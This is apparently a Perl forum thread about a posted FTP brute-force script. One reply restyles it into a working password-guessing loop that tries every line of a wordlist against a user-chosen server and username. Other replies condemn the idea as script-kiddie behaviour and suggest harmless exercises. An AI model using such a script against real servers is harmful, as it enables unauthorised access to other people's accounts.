1. You don't use strict or warnings
2. You unnecessarily double-quote variables
3. You use goto instead of last

Assuming that this code should be written, it would be better written as so:

use strict;
use warnings;

use Net::FTP;
print "Enter the FTP server I should try to brute force::\n";
chomp(my $server = <STDIN>);

print "What username do you want to brute force?\n";
chomp(my $user = <STDIN>);

my $ftp = Net::FTP->new( $server )
    or die "\nCould not connect: $!";

open WORDLIST, "wordlist.txt"
    or die "\nCould not open wordlist.txt. Exiting...\n";
chomp( my @wordlist = <WORDLIST> );
close WORDLIST;

my $password;
foreach $password (@wordlist)
{
    next unless $ftp->login($user, $password);

    print "$password is the password for user : $user !\n";
    last;
}
die "Password was not found! Error" unless $password;
[download]

What were you expecting someone to pick up that isn't already abley handled by the first example in the pod? I include it here for your reference. You'll note that it authenticates, changes directory, fetches a file and then exits. The only addition you appear to have made was to add some obnoxious script kiddy garbage. Please explain yourself. You've just set an example of poor behaviour.

    use Net::FTP;

    $ftp = Net::FTP->new("some.host.name", Debug => 0)
      or die "Cannot connect to some.host.name: $@";

    $ftp->login("anonymous",'-anonymous@')
      or die "Cannot login ", $ftp->message;

    $ftp->cwd("/pub")
      or die "Cannot change working directory ", $ftp->message;

    $ftp->get("that.file")
      or die "get failed ", $ftp->message;

    $ftp->quit;
[download]

Not worthy even of an acolyte. Try doing a script that detects disconnections and retries, that would be more useful, or one that transposes the case of a user-supplied login & password and tries that, in case the user got Caps Lock turned on by mistake.

Howdy!

If you wanted to practice working with files, why did you set it in this context? Placing it in the context of trying to crack a password through FTP connection attempts runs a whole string of red flags up the pole.

yours,
Michael